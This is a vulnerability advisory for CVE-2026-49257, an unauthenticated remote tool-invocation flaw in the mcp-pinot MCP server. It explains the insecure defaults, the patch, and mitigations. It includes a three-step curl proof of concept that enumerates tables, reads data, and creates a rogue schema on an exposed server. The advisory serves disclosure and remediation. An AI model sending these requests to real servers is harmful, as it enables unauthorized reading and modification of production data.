critical · 10CVE-2026-49257Jun 26, 2026

CVE-2026-49257: mcp-pinot-server Unauthenticated Remote Tool Invocation

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

The mcp-pinot MCP server binds to all network interfaces with authentication disabled by default, letting any remote caller read or modify a production Apache Pinot cluster without any credentials.

Packagemcp-pinot-server
Ecosystempip
Affected<= 3.0.1
Fixed in3.1.0

The problem

mcp-pinot v3.0.1 and earlier start an HTTP server on 0.0.0.0:8080 with oauth_enabled defaulting to False. All 14 registered MCP tools, including SQL query execution, schema creation, and table-config mutation, are reachable by any host that can reach port 8080.

Because the server forwards every tool call using its own server-side PINOT_TOKEN or PINOT_USERNAME/PINOT_PASSWORD, an unauthenticated caller inherits the full privileges of that service account. This is a classic confused-deputy condition: the caller has no identity, but the server launders their request through a privileged credential against the upstream Pinot cluster.

Proof of concept

bash
# Step 1: enumerate tables (zero credentials required)
curl -s -X POST http://TARGET:8080/mcp \
  -H 'Content-Type: application/json' \
  -d '{"jsonrpc":"2.0","method":"tools/call","params":{"name":"list_tables","arguments":{}},"id":1}'

# Step 2: read arbitrary table data (server forwards with its own Pinot credentials)
curl -s -X POST http://TARGET:8080/mcp \
  -H 'Content-Type: application/json' \
  -d '{"jsonrpc":"2.0","method":"tools/call","params":{"name":"read_query","arguments":{"query":"SELECT * FROM <table> LIMIT 100"}},"id":2}'

# Step 3: create a rogue schema (write path, same endpoint, still no auth)
curl -s -X POST http://TARGET:8080/mcp \
  -H 'Content-Type: application/json' \
  -d '{"jsonrpc":"2.0","method":"tools/call","params":{"name":"create_schema","arguments":{"schemaJson":"{\"schemaName\":\"attacker_schema\",\"dimensionFieldSpecs\":[{\"name\":\"id\",\"dataType\":\"STRING\"}]}"}},"id":3}'

Three defaults compose into the vulnerability. First, ServerConfig sets oauth_enabled=False and host="0.0.0.0" out of the box. Second, the FastMCP instance is constructed with auth=None whenever oauth_enabled is false, so the framework registers all @mcp.tool handlers with no authentication middleware.

Third, the HTTP transport in server.py passes the 0.0.0.0:8080 bind values directly to uvicorn, making every tool immediately reachable from the network.

The patch commit 1c7d3f9 (PR #95, v3.1.0) changes the default bind to 127.0.0.1 and adds a startup guard that refuses to run HTTP transport on a non-loopback host unless OAuth is explicitly enabled. That guard is exactly what the payload bypasses in the unpatched version: no loopback check existed, so any remote JSON-RPC POST to /mcp was accepted and executed.

The fix

Upgrade mcp-pinot-server to 3.1.0 (released 2026-05-25). The release changes the default MCP_HOST to 127.0.0.1, refuses to start when transport is HTTP, the host is non-loopback, and OAuth is disabled, and makes Helm network exposure opt-in and OAuth-gated. If an immediate upgrade is not possible, set MCP_HOST=127.0.0.1 in your .env to restrict the bind to loopback, or set OAUTH_ENABLED=true with a valid OAuth configuration before exposing the server on any non-loopback interface.

Reported by Tomer Peled (Akamai Security Research).

References: [1][2][3][4][5][6]